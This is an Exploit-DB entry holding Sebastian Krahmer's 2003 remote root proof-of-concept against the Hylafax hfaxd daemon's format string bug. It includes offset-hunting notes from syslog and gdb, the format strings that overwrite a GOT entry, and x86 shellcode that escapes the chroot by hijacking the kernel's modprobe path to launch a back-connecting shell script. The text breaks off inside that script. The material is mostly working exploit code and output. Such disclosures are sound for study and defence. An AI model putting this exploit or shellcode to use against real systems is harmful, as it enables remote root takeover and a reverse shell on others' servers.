Exploit-DB #23371
Description: Hylafax 4.1.x - HFaxD Format String
Type: remote
Platform: linux
Date: 2003-11-10
Author: Sebastian Krahmer

Exploit:
// source: https://www.securityfocus.com/bid/9005/info

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

/*** Hylafax remote root PoC exploit
     (C) 2003 Sebastian Krahmer  <krahmer@cs.uni-potsdam.de>

        *** FOR EDUCATIONAL PURPOSES ONLY ****

The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.


How to get the right n$ values from syslog:

Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24

So, %350$n is a good choice since a write would located on valid stack.

Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49

At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.

strace -i -e raw=read -etrace=read  -f -p 3293 2>&1

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
                               ^^^^^^^^^ network input buffer

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9

(gdb) x/100x 0x808c6b8
...
0x808c6f8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c708:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c718:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c728:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c738:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c748:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c758:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c768:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c778:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c788:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c798:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7a8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7b8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7c8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
...

0x804c1f0 <fprintf>:    jmp    *0x80835e0
(gdb) x/i 0x804c1f0

Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:

 site trigger %%134755804d%%350$n\n"
                ^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)

 site trigger %%%ud%%%d$n\n",
                 ^^ here the address of the buffer holding the shellcode
                    is palced i.e. 0x808c780. This is variable in the
                    target struct.


The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.

Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.


<--- shellcode -->
; nasm -f elf code.s

GLOBAL cbegin
GLOBAL cend

cbegin:
	xor eax, eax
	mov al, 23
	xor ebx, ebx
	int 0x80		; setuid(0)

	jmp short proc1

; mount proc FS

mountit:
	pop ebx
	xor ecx, ecx
	mov [ebx+4], cl		; terminate string with \0
	xor eax, eax
	mov al, 39
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; mkdir("proc", 0755);

	mov ecx, ebx
	mov edx, ebx
	xor esi, esi
	xor edi, edi
	xor eax, eax
	mov al, 21		; mount("proc", "proc", "proc", 0, NULL)
	int 0x80

	jmp short pshell1

; open connect shell script
op:
	pop ebx
	xor eax, eax
	mov [ebx+1], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("p", 0777);	


	jmp short connect1

proc1:	
	jmp short proc
; write it 
wp:
	pop ecx
	mov ebx, eax
	dec byte [ecx+9]	; create a '\n'
	mov al, 4
	xor edx, edx
	mov dl, 68
	int 0x80		; write("#!/bin/sh...", 68)

	mov al, 6
	int 0x80		; close

	jmp short elfp

; open weird ELF file to trigger modprobe
oelf:
	pop ebx
	xor eax, eax
	mov [ebx+3], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("elf", 0777);	

	jmp short elfh		;

; write weird ELF
welf:	pop ecx
	mov ebx, eax		; fd to ebx
	xor edx, edx
	mov dl, 20
	mov al, 4
	int 0x80		; write()

	mov al, 6
	int 0x80		; close weird ELF

	jmp short modp

pshell1:
	jmp short pshell

om:
	pop ebx
	xor eax, eax
	mov al, 5
	xor ecx, ecx
	mov [ebx+24], cl
	inc cl
	int 0x80		; open("...modprobe", 1)

	jmp short mpath

wm:
	pop ecx
	mov ebx, eax		; fd to ebx
	mov al, 4
	xor edx, edx
	mov dl, 16
	int 0x80		; write(fd, "/var/spool/fax/p", 16)
	
	mov al, 6
	int 0x80		; close


	mov al, 11
	xor ecx, ecx

	jmp short elfp2	

connect1:
	jmp short connect

exec:
	pop ebx
	mov [ebx+3], cl
	push ecx
	push ebx
	mov ecx, esp
	xor edx, edx
	int 0x80		; execve("elf",...)


proc:
	call mountit
	db "proc."

elfp:				; ELF path
	call oelf
	db "elf."

elfh:				; ELF header triggering modprobe
	call welf
	db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
	db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22

mpath:
	call wm
	db "/var/spool/fax/p"

pshell: 
	call op
	db "p."

modp:
	call om
	db "proc/sys/kernel/modprobe."

elfp2:
	call exec
	db "elf."

connect:
	call wp
	db "#!/bin/sh",0xb
;	db "teln